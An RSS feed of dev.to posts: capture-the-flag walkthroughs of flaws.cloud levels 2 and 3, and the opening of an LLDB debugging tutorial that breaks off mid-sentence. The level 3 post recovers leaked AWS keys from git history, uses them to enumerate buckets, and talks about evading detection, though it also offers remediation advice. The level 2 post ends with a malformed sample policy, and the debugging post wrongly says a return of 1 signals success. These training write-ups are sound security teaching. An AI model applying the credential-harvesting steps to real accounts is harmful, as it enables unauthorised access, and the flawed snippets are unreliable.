<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: gardnerapp</title>
    <description>The latest articles on DEV Community by gardnerapp (@coreyscorner).</description>
    <link>https://dev.to/coreyscorner</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F695592%2F3036007a-6d19-4a98-ac1c-3eb3248e685e.png</url>
      <title>DEV Community: gardnerapp</title>
      <link>https://dev.to/coreyscorner</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/coreyscorner"/>
    <language>en</language>
    <item>
      <title>Offensive Git Forensics: Flaws.cloud Level3</title>
      <dc:creator>gardnerapp</dc:creator>
      <pubDate>Mon, 12 Jun 2023 15:37:26 +0000</pubDate>
      <link>https://dev.to/coreyscorner/offensive-git-forensics-flawscloud-level3-5hmf</link>
      <guid>https://dev.to/coreyscorner/offensive-git-forensics-flawscloud-level3-5hmf</guid>
      <description>&lt;p&gt;If we hop on over to level3 at &lt;a href="http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/"&gt;http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/&lt;/a&gt; we'll find ourselves on another static website. Keeping with the themes of earlier levels lets assume that the site is hosted on s3 in the us-west-2 region with a bucket name that is the same as the domain name. We'll run the following from our terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;18:48:20 $ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ 
                           PRE .git/
2017-02-26 19:14:33     123637 authenticated_users.png
2017-02-26 19:14:34       1552 hint1.html
2017-02-26 19:14:34       1426 hint2.html
2017-02-26 19:14:35       1247 hint3.html
2017-02-26 19:14:33       1035 hint4.html
2020-05-22 14:21:10       1861 index.html
2017-02-26 19:14:33         26 robots.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Unfortunately there isn't anymore low hanging fruit in the form of a secret page we can view through ListBucketResult. What exactly is different about this bucket? Well it has a .git directory, and although git is very useful and convenient the occasional user manages to spill secret credentials by not blacklisting files within .gitnore or making old commits publicly available.&lt;/p&gt;

&lt;p&gt;To access the history of the project provided by git we first need to download the entire project with the &lt;code&gt;s3 sync&lt;/code&gt; command. If you want to know more about this command you can run &lt;code&gt;aws s3 sync help&lt;/code&gt; which will pull up the man pages. &lt;/p&gt;

&lt;p&gt;We'll clone the bucket in it's entirety into a new directory which we'll name &lt;code&gt;level 3&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; aws --profile sudo s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ level3
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/COMMIT_EDITMSG to level3/.git/COMMIT_EDITMSG
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/description to level3/.git/description
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/HEAD to level3/.git/HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-rebase.sample to level3/.git/hooks/pre-rebase.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/post-update.sample to level3/.git/hooks/post-update.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-commit.sample to level3/.git/hooks/pre-commit.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/commit-msg.sample to level3/.git/hooks/commit-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/prepare-commit-msg.sample to level3/.git/hooks/prepare-commit-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/applypatch-msg.sample to level3/.git/hooks/applypatch-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/config to level3/.git/config
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-applypatch.sample to level3/.git/hooks/pre-applypatch.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/index to level3/.git/index
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/update.sample to level3/.git/hooks/update.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/info/exclude to level3/.git/info/exclude
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/logs/HEAD to level3/.git/logs/HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df to level3/.git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25 to level3/.git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c to level3/.git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b to level3/.git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/logs/refs/heads/master to level3/.git/logs/refs/heads/master
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 to level3/.git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/f2/a144957997f15729d4491f251c3615d508b16a to level3/.git/objects/f2/a144957997f15729d4491f251c3615d508b16a
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2 to level3/.git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2 to level3/.git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c to level3/.git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/c2/aab7e03933a858d1765090928dca4013fe2526 to level3/.git/objects/c2/aab7e03933a858d1765090928dca4013fe2526
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint1.html to level3/hint1.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint3.html to level3/hint3.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61 to level3/.git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/robots.txt to level3/robots.txt
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint2.html to level3/hint2.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/index.html to level3/index.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/refs/heads/master to level3/.git/refs/heads/master
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint4.html to level3/hint4.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/76/e4934c9de40e36f09b4e5538236551529f723c to level3/.git/objects/76/e4934c9de40e36f09b4e5538236551529f723c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/authenticated_users.png to level3/authenticated_users.png

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Woah that's a lot of files! Looking through each and every one of them would be tedious, we need to take a systematic approach to looking through these. But first let us see what we've downloaded.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;18:59:25 $ cd level3 
18:59:27 master $ ls
authenticated_users.png hint2.html      hint4.html      robots.txt
hint1.html      hint3.html      index.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For those who don't know writing software is a messy business. 1 misspelled character can spill a stack trace hundreds of lines long and take down your app in it's entirety. Git is a version control system that makes writing software a tad bit less messy. &lt;/p&gt;

&lt;p&gt;Git has what are called branches, which are basically rough drafts for different features. If I wanted to implement a photo upload feature to an already existing app I'd create a new branch. Once the code is written and tested the developer will commit the code, which is like hitting save on an Excel or Word document. Lastly, there are merges which is a system for combining different branches. Once the photo upload feature is finished, the branch is committed and then merged to the main or master branch of the repository. Git is an essential skill for software developers and red teams alike, I highly recommend learning git from &lt;a href="https://www.learnenough.com/"&gt;Michael Hartl's Learn Enough Series&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As you can see when we ran &lt;code&gt;ls&lt;/code&gt; from our synced directory we are in the master branch of the project, essentially we're looking at the production code for the application. To see if the developer had any other working branches we can run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;7:07:22 ~/level3 master $ git branch
            * master
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we only have access to one branch, but not all hope is lost we still can do a lot of poking and prodding with the &lt;code&gt;git log&lt;/code&gt; command, which will pull up the history of the projects commits:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;7:13:40 ~/level3 master $ git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -&amp;gt; master)
Author: 0xdabbad00 &amp;lt;scott@summitroute.com&amp;gt;
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 &amp;lt;scott@summitroute.com&amp;gt;
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Commits are given hexadecimal hashes as means of identification and authenticity validation, and each commit has a message and we can see from the &lt;code&gt;64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526&lt;/code&gt; the author added something they shouldn't have.&lt;/p&gt;

&lt;p&gt;We can check the difference between commits with the &lt;code&gt;git diff&lt;/code&gt;, see &lt;code&gt;git diff --help&lt;/code&gt; for more details. In this case we'll want to see the difference between the first commit and the authors accidental commit like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;7:18:09 ~/level3 master $ git diff b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 f52ec03b227ea6094b04e43f475fb0126edb5a61 
diff --git a/access_keys.txt b/access_keys.txt
new file mode 100644
index 0000000..e3ae6dd
--- /dev/null
+++ b/access_keys.txt
@@ -0,0 +1,2 @@
+access_key AKIAJ366LIPB4IJKT7SA
+secret_access_key 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
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We see that the author stored a series of access keys in plain text in the mistaken commit, these keys are available to us. Before we use them I want to show you how to go back in time to a particular commit to poke and prod around, we'll use the &lt;code&gt;git checkout&lt;/code&gt; command. The git checkout command is primarily used for creating, destroying and moving around on branches in your repositories project. But it can also be used for going back and forth between commits. Let's go back to the commit directly before the author noticed their mistake like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;7:25:12 ~/level3 heads/master $ git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
M   index.html
Previous HEAD position was b64c8dc Oops, accidentally added something I shouldn't have
HEAD is now at f52ec03 first commit
7:25:19 ~/level3 master~1 $ ls
access_keys.txt     hint1.html      hint3.html      index.html
authenticated_users.png hint2.html      hint4.html      robots.txt
7:25:20 ~/level3 master~1 $ cat access_keys.txt 
access_key AKIAJ366LIPB4IJKT7SA
secret_access_key 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
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once we check our selves into the original commit we can look around and see that the file structure changes revealing the presence of a plain text file holding access key credentials. There is nothing stopping us from using these keys. &lt;/p&gt;

&lt;p&gt;The AWS CLI allows us to configure multiple profiles for use. If we open up our ~./aws/credentials file we can add the keys we found as a profile called &lt;code&gt;flaws&lt;/code&gt; like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[flaws]
region = us-west-2
aws_access_key_id = AKIAJ366LIPB4IJKT7SA
aws_secret_access_key = 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
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we've obtained credentials we'll want to know whom we're &lt;br&gt;
maneuvering as and what kinds of permissions they have. From there &lt;br&gt;
we'll leverage the services we have access to in order to gain &lt;br&gt;
elevated privileges onto even more AWS resources.&lt;/p&gt;

&lt;p&gt;AWS STS ie. Security Token Service is an API for interacting with the&lt;br&gt;
various token credentials AWS offers. You can read more on STS here &lt;a href="https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html"&gt;https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html&lt;/a&gt; and a list of api calls supported by STS can be found here &lt;a href="https://docs.aws.amazon.com/cli/latest/reference/sts/index.html"&gt;https://docs.aws.amazon.com/cli/latest/reference/sts/index.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can find out who our profile is acting as through the get-caller-identity command like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; aws --profile flaws sts get-caller-identity
{
    "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we know our username is backup we can try interacting with the &lt;code&gt;iam&lt;/code&gt; api to see a list of policies attached to the user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ aws --profile flaws iam list-attached-user-policies --user-name backup

An error occurred (AccessDenied) when calling the ListAttachedUserPolicies operation: User: arn:aws:iam::975426262029:user/backup is not authorized to perform: iam:ListAttachedUserPolicies on resource: user backup because no identity-based policy allows the iam:ListAttachedUserPolicies action
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Unfortunately this provides an access denied error. The author was smart enough to restrict access to some resources. This doesn't mean we've hit a dead end, we just don't have a working list of the resources that our profile has access to. We'll have to probe various services like &lt;code&gt;s3&lt;/code&gt; to see what kinds of access we have. &lt;/p&gt;

&lt;p&gt;Obviously we're in a CTF and we don't care about how many access denied returns we get, there is no security team watching. In a live environment we'd have to worry about two things: 1) manual analyst meticulously and faithfully combing through log files and 2) automated alerts. The best we can do while blindly probing is hope that we don't trigger too many access denied calls within a short period of time. That is our only hope of remaining incognito. &lt;/p&gt;

&lt;p&gt;We know that the author has made mistakes in the past in regards to s3 permissions so lets try to toy around with those, we'll start by listing all of the s3 buckets with the &lt;code&gt;ls&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; aws --profile flaws s3 ls
2020-06-25 13:43:56 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2020-06-26 19:06:07 config-bucket-975426262029
2020-06-27 06:46:15 flaws-logs
2020-06-27 06:46:15 flaws.cloud
2020-06-27 11:27:14 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2020-06-27 11:27:14 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2020-06-27 11:27:14 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2020-06-27 11:27:15 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2020-06-27 11:27:15 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2020-06-27 22:29:47 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wonderful ! We even have access to some log files, but lets assume they were smart enough to protect those and not run an &lt;code&gt;ls&lt;/code&gt; command on that bucket to avoid building bad habits and tipping off the boys in blue. &lt;/p&gt;

&lt;p&gt;Now that we know the name of the level 4 bucket we also know the URL it is located at. I'll see you there in the next installment of the series ! &lt;/p&gt;

&lt;p&gt;Git commits are reversible with the &lt;code&gt;reset&lt;/code&gt;, &lt;code&gt;revert&lt;/code&gt; and &lt;code&gt;delete&lt;/code&gt; commands. You can learn more about correcting mistaken git commits with this tutorial: &lt;a href="https://www.git-tower.com/learn/git/faq/delete-commits/"&gt;https://www.git-tower.com/learn/git/faq/delete-commits/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you saw there were a series of flaws that allowed us to compromise the apps security. The first was allowing access to the bucket to anyone with s3 credentials. Originally the author stored AWS credentials in plain text within their repository and then committed them to version control. Plaintext credentials should never be stored, any type of access or secret keys need to be encrypted before being stored. &lt;/p&gt;

&lt;p&gt;Although the author did a good job of removing the access keys from version control they neglected to destroy the commit which spilled the secrets. When they noticed that they had published secret keys to version control they should've rolled back these keys. Automatically invalidating and rotating access keys is a good policy because if an attacker gets hold of keys and you don't know about it they will only have so much time to work with those specific keys before they expire. &lt;/p&gt;

&lt;p&gt;Lastly the author did not follow the principal of least privilege, which states that an app, service, or user should only have the bare minimum access to the resources that they need to function. On AWS this means that if I generate a user to only manage buckets that user should only have bucket related permissions, they shouldn't be able to spawn EC2 instances, use EKS, or have access to ECR. &lt;/p&gt;

&lt;p&gt;In terms of a real life analogy I like to think of the principal of least privilege in terms of sports. Specific players have specific roles, some are the shooters whilst others play more of a supporting role. The supporting player can mess the whole game up by having the ability to take too many shots. &lt;/p&gt;

</description>
      <category>git</category>
      <category>aws</category>
      <category>s3</category>
      <category>security</category>
    </item>
    <item>
      <title>AWS Pentesting: Flaws.cloud level 2</title>
      <dc:creator>gardnerapp</dc:creator>
      <pubDate>Mon, 12 Jun 2023 15:33:10 +0000</pubDate>
      <link>https://dev.to/coreyscorner/aws-pentesting-flawscloud-level-2-4d4j</link>
      <guid>https://dev.to/coreyscorner/aws-pentesting-flawscloud-level-2-4d4j</guid>
      <description>&lt;p&gt;Level 2 of flaws.cloud is located at &lt;a href="http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/"&gt;http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/&lt;/a&gt;. The author provides us with a hint that we're going to need a free AWS account to complete this level. I'm not going to show you how to sign up for AWS, create a user with API keys or download and configure the AWS CLI because all of that has been done else where and my re-iterations won't provide you or I any value.&lt;/p&gt;

&lt;p&gt;Instead I'm going to assume you've got the AWS CLI running and are ready to go. Just to refresh we're on an AWS hosted website and we need to find a flag. We know that the author likes to host websites on s3, so we'll try some of the techniques from the last tutorial.&lt;/p&gt;

&lt;p&gt;A lot of offensive security is trial and error, which is a fancy way of saying guessing. In a traditional environment we'd take guesses at some of the malicous characters that would dump SQL errors or the types of encodings that can bypass filtering on XSS or SQL injection. For this level we'll take a guess that the site is hosted on s3, and using the rules I discussed in the last post we'll assume that the bucket name is the same as the domain, which would mean our buckets name is &lt;code&gt;level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud.&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;We can head on over to the AWS s3 access point over at &lt;a href="https://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud.s3.us-west-2.amazonaws.com"&gt;https://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud.s3.us-west-2.amazonaws.com&lt;/a&gt; . Which will provide us with this XML tree:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;Error&amp;gt;
&amp;lt;Code&amp;gt;AccessDenied&amp;lt;/Code&amp;gt;
&amp;lt;Message&amp;gt;Access Denied&amp;lt;/Message&amp;gt;
&amp;lt;RequestId&amp;gt;YXQXTJMXFJD1H6JY&amp;lt;/RequestId&amp;gt;
&amp;lt;HostId&amp;gt;
5x4NfnQht5RocFNtbPIA2KDbSj9b4cLm61GU4A80nGsLqBwcf5R8/qMES1v1Mu7z839C9QlFpIw=
&amp;lt;/HostId&amp;gt;
&amp;lt;/Error&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This shows us that our bucket does indeed exist, if it didn't the access point would have provided this error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;Error&amp;gt;
&amp;lt;Code&amp;gt;NoSuchBucket&amp;lt;/Code&amp;gt;
&amp;lt;Message&amp;gt;The specified bucket does not exist&amp;lt;/Message&amp;gt;
&amp;lt;BucketName&amp;gt;MADEUPBUCKETNAME&amp;lt;/BucketName&amp;gt;
&amp;lt;RequestId&amp;gt;DN4KZM9ZHQC1DQQM&amp;lt;/RequestId&amp;gt;
&amp;lt;HostId&amp;gt;
npQ+aV7p0CMJ1tqMXz9kWeCEPy8xEVLFniXRv26IvoBWmyKf93LwB6gE6ZFl80gyCFraolDp1CQ=
&amp;lt;/HostId&amp;gt;
&amp;lt;/Error&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice how even things like errors and access denial can still provide us with a map of the infrastructure. In more complex offensive scenarios things like timing and even sound can provide valuable clues.&lt;/p&gt;

&lt;p&gt;So we know our buckets name, it's region and that it's owner wisened up to lock out public access. Where do we go from here? Well the author did say that we needed AWS credentials lets put them to use. Note the entirety of the AWS CLI documentation can be found here &lt;a href="https://docs.aws.amazon.com/cli/latest/index.html"&gt;https://docs.aws.amazon.com/cli/latest/index.html&lt;/a&gt; . &lt;/p&gt;

&lt;p&gt;Let's see if we can list all of the objects in this bucket by using the &lt;code&gt;ls&lt;/code&gt; command like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;17:32:28 ~ $ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/ 

2017-02-26 21:02:15      80751 everyone.png
2017-03-02 22:47:17       1433 hint1.html
2017-02-26 21:04:39       1035 hint2.html
2017-02-26 21:02:14       2786 index.html
2017-02-26 21:02:14         26 robots.txt
2017-02-26 21:02:15       1051 secret-e4443fc.html

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bingo, we now can see all of the objects in this bucket. Let's checkout the secret page by heading on over to &lt;a href="http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html"&gt;http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once again we have a misconfigured bucket that allows the GetObject and ListBucket result permissions. Although these permissions are slightly better than the last levels they really are basically the same as public permissions because everyone can make an AWS account in less than 15 minutes.&lt;/p&gt;

&lt;p&gt;To remediate this situation the developer would have to permit the ListBucketResult action to that of the individual(s) within their organization. In order to hide the secret page the developer could use the &lt;code&gt;Deny&lt;/code&gt; clause on the &lt;code&gt;Effect&lt;/code&gt; key to explicitly block the public from accessing the bucket like so. An example of this statement is shown below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Statement": [
        "Sid": "AllowListAndGetToPublic",
        "Effect": "Deny",
        "Principal": "*",
        "Action": [
            "s3:GetObject",     
        ],
        "Resource": "arn:aws:s3:::level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html"
    ]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>aws</category>
      <category>pentesting</category>
      <category>security</category>
      <category>devops</category>
    </item>
    <item>
      <title>Debugging ARM Assembly With LLDB Part 1. Setting Break Points</title>
      <dc:creator>gardnerapp</dc:creator>
      <pubDate>Tue, 30 May 2023 18:32:54 +0000</pubDate>
      <link>https://dev.to/coreyscorner/debugging-arm-assembly-with-lldb-part-1-setting-break-points-3b6b</link>
      <guid>https://dev.to/coreyscorner/debugging-arm-assembly-with-lldb-part-1-setting-break-points-3b6b</guid>
      <description>&lt;p&gt;In this tutorial I'm going to be teaching you how to debug ARM assembly language on MacOS with the lldb debugger. Ultimately, my goal with these tutorials is to teach advanced debugging techniques which will be applicable to both offensive and defensive information security. These tutorials are designed for novices with very little programming experience. &lt;/p&gt;

&lt;p&gt;Lets get started by writing a simple C program like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// hello_world.c

#include &amp;lt;stdio.h&amp;gt;

int main(){
        printf("Hello, World !\n");
        return 1;
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As I've said before C is the Latin of programming languages, it is a very verbose language that has influenced innumerable programming languages. It is very nice in that it gives the programmer a ton of control over memory utilization, and because it is a compiled language it runs very fast. Because of these traits C was the language chosen to write most operating systems and higher level programming languages in. &lt;/p&gt;

&lt;p&gt;C is such a low level language that in order to print something to STDOUT we must include the Standard Input/Output library, which is exactly what we're doing when we declare &lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/code&gt; at the top of our program, this allows us access to the &lt;code&gt;printf&lt;/code&gt; function. &lt;/p&gt;

&lt;p&gt;All programs must run in a &lt;code&gt;main&lt;/code&gt; function, languages like Ruby, Python and JavaScript abstract away the utilization and deceleration of a &lt;code&gt;main&lt;/code&gt; function but if you look at the stack traces for those languages closely you'll see that it is there in the background. Functions run and evaluate to a value, and we must specify the type of that value so that the CPU can allocate a proper amount of memory. &lt;/p&gt;

&lt;p&gt;In this short example we return an integer which is a rational number which takes up 4 bytes of memory. A byte is a collection of 8 bits. A bit is a single segment of memory that can be in a binary state of either a 1 or 0. This means that an integer is actually composed of 32 1's or 0's residing within memory. Typically a successful run of a program will be denoted by returning 1, while an error will be noted by the return of 0. &lt;/p&gt;

&lt;p&gt;Computers are smart, but they aren't smart enough to read and run C program. C is just a convenient language for humans to write in. A &lt;code&gt;compiler&lt;/code&gt; is what transforms our C code to a series of &lt;code&gt;binary&lt;/code&gt; instructions that the computer can "understand" and execute. &lt;/p&gt;

&lt;p&gt;MacOS comes with the &lt;code&gt;gcc&lt;/code&gt; compiler by default. Gcc can do a lot, if you run &lt;code&gt;gcc --help&lt;/code&gt; you'll see all of the different flags that the tool comes with. We're only compiling a relatively simple program and we can do so with this command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gcc -g -o hello_world hello_world.c&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;The &lt;code&gt;-o&lt;/code&gt; flag allows us to name our executable in this case it will be called &lt;code&gt;hello_world&lt;/code&gt;. The &lt;code&gt;-g&lt;/code&gt; flag tells our compiler to store the debugging symbols of the executable within a &lt;code&gt;.dSYM&lt;/code&gt; directory. If you poke around and run &lt;code&gt;ls&lt;/code&gt; in the directory where you compiled your program you'll notice that we now have a &lt;code&gt;hello_world&lt;/code&gt; executable and a &lt;code&gt;hello_world.dSYM&lt;/code&gt; directory. The &lt;code&gt;-o&lt;/code&gt; flag is optional, if we chose to omit it our binary would be given the default name which is &lt;code&gt;a.out&lt;/code&gt;, and correspondingly a &lt;code&gt;a.out.dSYM&lt;/code&gt; directory would be created. &lt;/p&gt;

&lt;p&gt;Lets run our executable by typing &lt;code&gt;./hello_world&lt;/code&gt; into the terminal. &lt;br&gt;
You didn't come here just to write "Hello, World!" programs. It's time to dive deep into the magical world of computation by debugging our executable with &lt;code&gt;lldb&lt;/code&gt; the native debugger on MacOS. The debugger will bring us into a shell like environment where we can run, pause and modify our program in real time. You can start your debugger with &lt;code&gt;lldb hello_world&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;You're now in the debuggers shell. If you ever get lost you can run &lt;code&gt;help&lt;/code&gt; to see a list of commands. If you want to know more about a specific command, say for example the &lt;code&gt;breakpoint&lt;/code&gt; command you would type &lt;code&gt;help breakpoint&lt;/code&gt;. Lastly there are sub-commands to each command and if you wanted to learn more about the &lt;code&gt;breakpoint set&lt;/code&gt; command you'd type &lt;code&gt;help breakpoint set&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Now that we're in our debugger shell we can view our original C code by running&lt;br&gt;
